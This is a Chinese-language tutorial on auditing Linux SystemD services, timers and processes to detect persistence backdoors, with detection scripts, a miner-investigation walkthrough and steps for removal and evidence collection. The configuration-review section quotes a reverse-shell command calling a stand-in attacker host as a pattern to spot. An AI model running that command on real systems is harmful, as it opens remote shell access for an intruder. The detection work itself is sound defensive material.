Linux系统安全:SystemD服务排查与恶意进程检测实战指南
2026/7/4 18:10:10 网站建设 项目流程

1. 项目概述:为什么我们需要主动排查SystemD服务?

在Linux运维和系统安全领域,一个常见的场景是:服务器运行一段时间后,性能莫名下降,或者安全扫描报告发现了可疑的监听端口。当你登录系统,面对成百上千个由SystemD管理的服务时,如何快速、准确地定位问题源头,判断哪些是正常的系统服务,哪些是潜在的恶意后门或配置不当的“定时炸弹”?这就是“LinuxCheck系统服务与启动项排查”项目要解决的核心问题。

SystemD作为现代Linux发行版的事实标准初始化系统,其深度整合性既是优势也是挑战。它管理着从系统核心服务到用户会话的方方面面,但这也意味着攻击者或恶意软件一旦获得权限,很容易通过植入一个伪装良好的.service文件,实现持久化驻留。传统的排查方法,如简单查看/etc/init.d/目录或使用chkconfig,在SystemD时代已经远远不够。我们需要一套系统性的、基于安全视角的检测方法,能够穿透SystemD的抽象层,洞察每一个服务的本质。

本实战指南旨在为你提供这样一套方法论和工具箱。我们将不仅仅停留在systemctl list-units的层面,而是深入SystemD的配置目录、依赖关系、文件属性和运行时行为,从多个维度构建一个立体的服务安全检测模型。无论你是负责服务器安全的运维工程师,还是需要评估系统纯净度的开发者,掌握这套方法都能让你在面对复杂的服务列表时,做到心中有数,排查有据。

2. 核心排查思路与安全检测模型构建

面对一个运行中的Linux系统,盲目地检查每一个服务单元(Unit)是低效的。一个高效的排查流程应该像侦探破案一样,有清晰的逻辑路径和优先级。我们的核心思路是:由表及里,从静态到动态,从普遍到特殊

2.1 建立分层检测模型

一个健壮的安全检测模型应该包含至少四个层次:

  1. 清单层(Inventory):首先,我们需要一份完整的、当前系统上所有SystemD单元的“花名册”。这包括所有已加载(loaded)的.service.socket.timer.mount等单元,以及它们的状态(active, inactive, failed)。这是我们的基础数据。
  2. 配置层(Configuration):获取清单后,我们需要深入每个服务的“档案”——即其单元配置文件。关键检查点包括:服务由谁启动(User/Group)、执行什么命令(ExecStart)、工作目录、环境变量、文件权限掩码等。任何偏离最小权限原则或常规路径的配置都值得警惕。
  3. 依赖与关联层(Dependency & Correlation):SystemD的强大之处在于其依赖管理系统。一个恶意服务可能会伪装成某个关键系统服务(如network.target)的依赖(Wants=Requires=),从而随系统启动。我们需要理清服务之间的依赖网络,识别出异常的依赖关系或启动顺序(After=/Before=)。
  4. 运行时层(Runtime):静态配置可能被伪装,但运行时的行为更难隐藏。我们需要检查服务进程的实际运行身份、打开的文件描述符、网络连接状态、占用的资源等,并与静态配置进行交叉验证。

2.2 确定排查优先级与自动化策略

手动逐项检查上千个服务是不现实的。我们必须制定优先级规则,将有限的精力集中在高风险目标上:

  • 高优先级目标
    • 状态异常的服务failed状态的服务可能意味着攻击尝试未成功或配置错误;频繁activating/deactivating的服务可能存在问题。
    • 非系统路径的服务:单元文件不在/usr/lib/systemd/system/(发行版提供)或/etc/systemd/system/(管理员配置)目录下,尤其位于/tmp/dev/shm或用户家目录等临时或非标准位置。
    • 以高权限运行的服务User=rootExecStart指向可疑或非标准二进制文件的服务风险极高。
    • 启用但被屏蔽(masked)的服务systemctl mask创建了指向/dev/null的链接,这有时用于彻底禁用服务,但也可能被用来掩盖某些服务的存在(需结合其他线索)。
    • 监听网络端口的服务:特别是监听在非标准端口或所有接口(0.0.0.0)上的服务。
  • 中优先级目标
    • 第三方或自定义服务:来自非官方仓库或手动编译安装的软件所创建的服务。
    • 使用动态或模糊路径的服务:在ExecStart中使用通配符、或依赖复杂环境变量解析的路径。
    • 拥有大量或异常依赖的服务
  • 低优先级目标
    • 核心系统服务(如systemd-journald,dbus,NetworkManager),除非有非常明确的异常迹象。

基于此优先级,我们可以编写脚本实现自动化初步筛查,输出可疑服务列表,供人工进行深度分析。这构成了我们实战排查的骨架。

3. 实战工具箱:关键命令与深度解析

工欲善其事,必先利其器。SystemD提供了一套丰富的命令行工具,但我们需要知道如何组合使用它们来服务于安全排查的目的。

3.1 获取全局视图与初步过滤

首先,让我们获取系统上所有单元的完整列表,并按类型和状态分类。

# 列出所有已加载的单元(服务、挂载点、设备等),这是最全面的视图 systemctl list-units --all # 专注于服务类型的单元,并显示详细描述 systemctl list-units --type=service --all # 仅显示活跃(active)的服务,这是系统当前正在运行的部分 systemctl list-units --type=service --state=active # 显示失败(failed)的服务,这是首要排查对象 systemctl list-units --type=service --state=failed

注意list-units显示的是 systemd 当前内存中已加载的单元。有些单元文件存在于磁盘上,但如果没有被引用或启用,可能不会出现在这里。要查看所有可用的单元文件,需使用list-unit-files

3.2 深入单元内部:配置文件与属性审查

锁定目标服务后,下一步是解剖其配置文件。关键命令是systemctl catsystemctl show

# 查看某个服务的完整配置文件内容,包括来自 /etc/systemd/system/*.d/ 的覆盖配置 # 这是排查的黄金命令,因为它展示了最终生效的配置 systemctl cat ssh.service # 获取服务的所有属性(键值对),信息量巨大,但可以过滤 systemctl show ssh.service # 获取特定属性,例如运行用户、主进程PID、控制组路径等 systemctl show ssh.service -p User,MainPID,ControlGroup,ExecStart

配置文件安全审查要点

  1. ExecStart/ExecStartPre/ExecStartPost:这是核心。检查命令的绝对路径是否合法、是否包含可疑参数(如反向shell命令bash -i >& /dev/tcp/attacker.com/443 0>&1的变种)。警惕使用bash -c执行复杂字符串的命令。
  2. UserGroup:服务是否以不必要的root权限运行?遵循最小权限原则,许多服务应以非特权用户(如www-data,nobody)运行。
  3. WorkingDirectory:工作目录是否安全?指向/tmp或用户可写目录可能存在问题。
  4. EnvironmentEnvironmentFile:注入了哪些环境变量?EnvironmentFile指向的文件是否安全?
  5. Restart:是否配置了alwayson-failure等自动重启策略?恶意软件常利用此实现持久化。
  6. Wants/Requires/After:检查其依赖关系是否合理。一个用户级服务不应该Requires=multi-user.target
  7. [Install]部分:服务被enable后链接到哪个 target?这决定了它何时启动。

3.3 追踪依赖关系与启动链条

理解服务在系统启动链条中的位置至关重要。

# 以树状图显示一个服务所依赖的所有其他单元 systemctl list-dependencies ssh.service --all # 反向查询:列出哪些服务依赖(WantedBy/RequiredBy)于当前服务 systemctl list-dependencies ssh.service --reverse # 分析系统启动关键路径,找出拖慢启动或可能被注入的环节 systemd-analyze critical-chain # 查看每个服务的具体启动耗时,长时间启动的服务值得关注 systemd-analyze blame

依赖关系排查心得:重点关注那些依赖关系简单(几乎没有Wants/Requires)但却在关键 target(如multi-user.target)的WantedBy列表中的服务。同时,检查是否有非核心服务被许多其他服务所依赖,这可能是一个单点故障或攻击面。

3.4 审查文件系统与单元文件来源

单元文件存放在哪里,谁拥有它,权限如何?这是判断其合法性的直接证据。

# 查找一个单元文件的实际位置(遵循systemd的加载优先级) systemctl show ssh.service -p FragmentPath # 如果 FragmentPath 为空,说明这是一个动态生成的单元(如 .mount 来自 /etc/fstab) # 查看单元文件所在目录的所有文件 ls -la /usr/lib/systemd/system/ | grep -i ssh ls -la /etc/systemd/system/ | grep -i ssh # 检查单元文件及其父目录的权限,确保不被非特权用户写入 ls -l /etc/systemd/system/nginx.service

文件系统检查要点

  • /usr/lib/systemd/system/:系统包管理器安装的单元文件,通常只读。对此处文件的任何修改都极其可疑。
  • /etc/systemd/system/:系统管理员自定义和覆盖配置的地方。这是检查的重点目录。确保其中的文件权限为644,属主为root:root
  • /run/systemd/system/:运行时生成的单元文件,重启后消失。此处的临时服务需要结合systemd-run命令记录来审查。
  • 警惕在/home/,/tmp/,/var/tmp/等位置发现的.service文件。

3.5 运行时诊断:进程、资源与网络

配置可能是静态的,但运行时的进程是动态的真相。我们需要将SystemD单元与其产生的实际进程关联起来。

# 查看服务的当前状态、最后日志片段和主进程PID systemctl status ssh.service # 使用 journalctl 查看服务的完整日志,特别是启动时的错误信息 journalctl -u ssh.service -xe --no-pager # 获取服务主进程的PID,然后使用传统工具深入检查 MAINPID=$(systemctl show ssh.service -p MainPID --value) ps auxf | grep -A 5 -B 5 $MAINPID ls -la /proc/$MAINPID/exe # 查看实际执行的二进制文件 ls -la /proc/$MAINPID/cwd # 查看当前工作目录 cat /proc/$MAINPID/environ | tr '\0' '\n' # 查看环境变量 # 检查服务进程打开的文件和网络连接 lsof -p $MAINPID ss -tulnp | grep $MAINPID netstat -tulnp | grep $MAINPID # (如果ss不可用)

运行时排查技巧

  • 进程树:使用pstree -p $MAINPID查看进程及其子进程。恶意软件可能会forkexec其他进程。
  • 文件描述符lsof结果中,注意是否有对敏感文件(如/etc/passwd,/etc/shadow, SSH密钥)的读写,或是否打开了意料之外的网络套接字。
  • /proc/$PID/目录:这是一个信息宝库。/proc/$PID/maps显示内存映射,/proc/$PID/fd/是所有打开文件描述符的符号链接。
  • 交叉验证:将ps aux中的命令路径、用户与systemctl show中的ExecStartUser进行对比。不一致则表明可能被篡改或发生了特权升级。

4. 高级检测场景与自动化脚本编写

掌握了基础命令后,我们可以针对特定高危场景进行深度检测,并将流程自动化。

4.1 场景一:检测隐藏与伪装服务

攻击者可能会禁用(disable)但手动启动服务,或者使用systemctl mask配合其他机制启动。我们可以通过对比来发现异常。

#!/bin/bash # 检测异常服务:对比已加载单元和单元文件列表 echo "[*] 检查已加载但未在标准路径启用的服务单元..." LOADED_UNITS=$(systemctl list-units --type=service --all --no-legend | awk '{print $1}') for unit in $LOADED_UNITS; do # 获取单元文件路径 FRAGMENT_PATH=$(systemctl show "$unit" --property=FragmentPath --value) # 如果路径为空或不在/etc或/usr/lib下,则标记 if [[ -z "$FRAGMENT_PATH" ]] || [[ ! "$FRAGMENT_PATH" =~ ^/(etc|usr/lib)/systemd/system/ ]]; then # 排除一些已知的动态生成单元,如 `-.mount`, `proc-sys-fs-binfmt_misc.automount` if [[ ! "$unit" =~ ^(sys-|dev-|-.mount|proc-.*\.automount)$ ]]; then echo "警告: 服务 '$unit' 使用非标准或动态路径: '$FRAGMENT_PATH'" systemctl status "$unit" --no-pager | head -10 fi fi done

4.2 场景二:检测以高权限运行的可疑服务

查找所有以root用户运行,且执行文件不在标准系统目录(如/usr/bin,/usr/sbin,/usr/local/bin)下的服务。

#!/bin/bash # 检测高权限可疑服务 echo "[*] 检查以root身份运行且二进制文件可疑的服务..." systemctl list-units --type=service --state=active --no-legend | awk '{print $1}' | while read -r unit; do USER=$(systemctl show "$unit" --property=User --value) EXEC_START=$(systemctl show "$unit" --property=ExecStart --value) if [[ "$USER" == "root" ]]; then # 从ExecStart中提取第一个命令(简单提取,实际可能更复杂) # 移除环境变量设置等前缀,例如 `ExecStart=/usr/bin/env KEY=val /path/to/cmd` CMD_PATH=$(echo "$EXEC_START" | sed -E 's/^ExecStart=//' | awk '{print $1}') # 清理可能的变量引用,如 `$OPTIONS` CMD_PATH=$(echo "$CMD_PATH" | sed 's/\$[A-Za-z_][A-Za-z0-9_]*//g') if [[ -n "$CMD_PATH" ]] && [[ -e "$CMD_PATH" ]]; then # 检查二进制文件路径是否在常见的安全路径中 if [[ ! "$CMD_PATH" =~ ^/(usr/(s?bin|local/s?bin)|bin|sbin)/ ]]; then echo "警告: 服务 '$unit' 以root运行,执行文件位于非常规路径: $CMD_PATH" echo " 完整命令: $EXEC_START" # 可选:检查文件哈希或属性 file "$CMD_PATH" ls -l "$CMD_PATH" fi fi fi done

4.3 场景三:检测网络监听服务

快速找出所有由SystemD服务启动的、正在监听网络端口的进程。

#!/bin/bash # 关联网络监听端口与SystemD服务 echo "[*] 关联网络监听端口与SystemD服务..." # 使用ss获取监听端口和PID ss -tulnp | awk '/LISTEN/ && $6 !~ /^$/ {print $5, $6}' | while read -r addr pid_info; do PORT=$(echo "$addr" | awk -F: '{print $NF}') PID=$(echo "$pid_info" | grep -oP 'pid=\K\d+') if [[ -n "$PID" ]]; then # 通过PID查找其所属的systemd cgroup,进而找到服务名 # 方法1:通过 /proc/$PID/cgroup 查找 SERVICE=$(grep -E '^1:name=systemd:' /proc/"$PID"/cgroup 2>/dev/null | awk -F: '{print $3}' | sed 's|^/||') # 方法2:使用systemd-cgls或systemctl status查找(更准确但慢) if [[ -z "$SERVICE" ]] || [[ "$SERVICE" == "-" ]]; then # 尝试使用pstree向上查找systemd进程 SERVICE=$(pstree -p -s "$PID" | grep -oE 'systemd\(1\)' >/dev/null && \ systemctl status "$PID" 2>/dev/null | grep -oE 'Loaded: loaded.*\(.*\)' | cut -d'(' -f2 | cut -d';' -f1 | sed 's/)//') fi if [[ -n "$SERVICE" ]]; then echo "端口 $addr 由 PID $PID 监听,关联服务单元: $SERVICE" else echo "端口 $addr 由 PID $PID 监听,但未找到明确的systemd服务关联(可能是用户进程或容器进程)。" fi fi done

4.4 场景四:审计定时器(Timer)单元

.timer单元是SystemD的定时任务,功能类似cron,但更强大,也更容易被忽视。攻击者常利用其实现持久化。

#!/bin/bash # 审计所有活动的定时器 echo "[*] 检查所有SystemD定时器单元..." systemctl list-timers --all --no-pager echo -e "\n[*] 详细检查每个定时器关联的服务..." systemctl list-units --type=timer --all --no-legend | awk '{print $1}' | while read -r timer; do echo "=== 定时器: $timer ===" # 查看定时器定义 systemctl cat "$timer" 2>/dev/null | head -20 # 找出关联的.service文件(通常是同名) SERVICE_UNIT="${timer%.timer}.service" if systemctl cat "$SERVICE_UNIT" &>/dev/null; then echo "关联服务: $SERVICE_UNIT" # 查看服务执行的命令 EXEC_START=$(systemctl show "$SERVICE_UNIT" --property=ExecStart --value 2>/dev/null) echo "执行命令: $EXEC_START" USER=$(systemctl show "$SERVICE_UNIT" --property=User --value 2>/dev/null) echo "运行用户: $USER" else echo "警告: 定时器 $timer 未找到对应的 .service 单元!" fi echo done

5. 排查实战:从发现到取证的完整流程

假设我们通过监控发现一台服务器的CPU在凌晨2点周期性飙升,初步怀疑有隐藏的挖矿或数据外传任务。我们将运用上述工具进行排查。

5.1 第一步:基于时间的初步筛查

首先,检查在可疑时间点附近启动或活跃的服务。

# 查看系统启动以来的所有服务单元日志,按时间排序,寻找凌晨2点左右的记录 journalctl --since="yesterday 00:00" --until="today 00:00" --unit=*.service --no-pager | grep -E "(Starting|Started|Stopping|Stopped)" | grep -E "02:[0-5]" # 或者,查看所有timer的最近触发时间 systemctl list-timers --all | grep -E "2024-.* 02:"

5.2 第二步:定位资源消耗异常进程

在CPU飙升时,快速登录系统,定位问题进程。

# 使用 top 或 htop 找到高CPU占用的进程PID top -b -n 1 -o %CPU | head -20 # 假设发现PID为 12345 的进程异常 PID=12345 # 查找该进程所属的systemd单元 systemctl status $PID # 或者 cat /proc/$PID/cgroup | grep name=systemd

5.3 第三步:深度剖析可疑服务

假设我们通过上一步,发现高CPU进程属于一个名为systemd-backup.timer触发的systemd-backup.service

# 1. 查看定时器配置 systemctl cat systemd-backup.timer # 重点检查 OnCalendar=, OnBootSec=, OnUnitActiveSec= 等时间设定 # 2. 查看关联服务配置 systemctl cat systemd-backup.service # 重点检查: # ExecStart= 执行的命令是什么?是否指向一个脚本或可疑二进制文件? # User= 和 Group= 是谁? # WorkingDirectory= 在哪? # 是否有 Restart=always 等持久化配置? # 3. 检查服务文件属性 systemctl show systemd-backup.service -p FragmentPath --value FRAGMENT_PATH=$(systemctl show systemd-backup.service -p FragmentPath --value) ls -l $FRAGMENT_PATH # 检查文件修改时间、属主、权限 # 4. 检查服务运行时的真实情况 MAINPID=$(systemctl show systemd-backup.service -p MainPID --value) if [[ $MAINPID -ne 0 ]]; then echo "进程树:" pstree -p $MAINPID echo "打开的文件:" lsof -p $MAINPID echo "网络连接:" ss -tunap | grep "pid=$MAINPID" echo "二进制文件:" ls -l /proc/$MAINPID/exe readlink /proc/$MAINPID/exe fi # 5. 检查服务日志 journalctl -u systemd-backup.service --no-pager -n 50

5.4 第四步:取证与处置

如果确认是恶意服务,需要进行取证并安全处置。

取证

  1. 备份单元文件cp $FRAGMENT_PATH /root/forensics/
  2. 备份执行的二进制文件或脚本:如果ExecStart指向一个文件,将其备份。
  3. 记录进程内存(如果可能且有必要):使用gcore $MAINPID生成核心转储(需要权限)。
  4. 收集网络连接信息:记录ss/netstat输出中的远程IP和端口。

安全处置

  1. 立即停止并禁用服务

    sudo systemctl stop systemd-backup.service sudo systemctl stop systemd-backup.timer sudo systemctl disable systemd-backup.service sudo systemctl disable systemd-backup.timer

    警告:不要急于systemctl mask,这可能会覆盖证据文件。先disable

  2. 移除或隔离恶意文件

    # 移动而非删除,保留证据 sudo mv $FRAGMENT_PATH /root/quarantine/ # 如果 ExecStart 指向恶意二进制文件 MALICIOUS_BIN=$(systemctl show systemd-backup.service -p ExecStart --value | awk '{print $1}' | sed 's/ExecStart=//') sudo mv "$MALICIOUS_BIN" /root/quarantine/
  3. 清除残留:检查是否有其他相关的单元文件、定时器或依赖服务。

  4. 重载systemd配置sudo systemctl daemon-reload

  5. 验证:再次检查服务状态和进程是否消失。

  6. 根因分析:调查攻击者是如何植入该服务的(漏洞利用、弱密码、供应链攻击等),并修补漏洞。

6. 常见陷阱、疑难问题与排查技巧

在实际排查中,你会遇到各种边界情况和棘手问题。以下是一些经验总结。

6.1 陷阱:动态生成与临时单元

SystemD会动态生成一些单元,例如来自/etc/fstab.mount单元,或由systemd-run创建的临时服务。这些单元没有传统的磁盘配置文件,容易引起误报。

应对策略

  • 使用systemctl show -p FragmentPath查看单元文件路径。如果为空或指向/run/systemd/system/下的临时位置,则很可能是动态生成的。
  • 对于.mount单元,检查/etc/fstab
  • 对于临时服务,可以检查journalctl _SYSTEMD_INVOCATION_ID=来查看创建记录。

6.2 疑难:服务状态显示为“not-found”但进程存在

有时systemctl status显示服务not-found,但pstop显示相关进程仍在运行。这通常发生在服务单元文件被删除或重命名后,但进程未被正确停止。

解决方法

  1. 首先找到进程PID。
  2. 尝试向进程发送终止信号:sudo kill -TERM $PID,等待几秒后sudo kill -KILL $PID
  3. 更彻底的方法是,如果进程在某个cgroup下,可以通过systemctl kill--kill-who=--signal=参数尝试清理,但这需要你知道服务原来的名称。最直接的方式还是用kill命令。

6.3 技巧:利用systemd-analyze进行安全审计

systemd-analyze security命令可以评估服务单元的安全配置,给出一个“暴露等级”分数。

# 评估特定服务的安全配置 sudo systemd-analyze security nginx.service --no-pager # 评估所有运行中的服务,按暴露等级排序 sudo systemd-analyze security --no-pager | sort -k3 -h

这个工具会检查诸如PrivateTmpProtectSystemNoNewPrivileges等安全相关配置项。分数越低越好。在排查时,可以特别关注那些得分很高(配置很宽松)但又非核心的服务。

6.4 技巧:对比已知安全基线

建立一个“干净”系统的服务清单作为基线非常重要。你可以在一台新安装的、确认安全的系统上,导出服务列表和关键属性。

# 导出服务清单和关键属性到文件 baseline_file="systemd_services_baseline.txt" echo "=== 服务单元列表 ===" > $baseline_file systemctl list-unit-files --type=service >> $baseline_file echo -e "\n=== 活跃服务状态 ===" >> $baseline_file systemctl list-units --type=service --state=active --no-pager >> $baseline_file echo -e "\n=== 关键服务详情 (示例) ===" >> $baseline_file for svc in ssh.service cron.service nginx.service; do echo "---- $svc ----" >> $baseline_file systemctl cat $svc >> $baseline_file 2>/dev/null || echo "Not found" >> $baseline_file done

在怀疑被入侵的机器上,运行同样的命令生成另一份清单,然后使用diffmeld等工具进行对比,可以快速发现新增或修改的服务。

6.5 疑难:依赖复杂服务的故障排查

当一个核心服务(如网络服务)启动失败,可能是其依赖的某个底层服务或target未就绪。使用systemctl list-dependencies --reverse查看哪些服务依赖它,使用journalctl -xe查看启动日志,并配合systemd-analyze critical-chain查看启动关键路径上的耗时点,能帮助你定位依赖链中的故障环节。

SystemD服务排查是一项结合了系统知识、安全意识和实践经验的综合技能。没有银弹脚本能解决所有问题,但通过构建系统化的排查模型、熟练掌握核心命令、并积累应对各种场景的经验,你就能在复杂的Linux系统环境中,有效地守护服务的安全与稳定。记住,保持好奇心,对任何异常现象都多问一个“为什么”,是安全运维人员最重要的品质。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询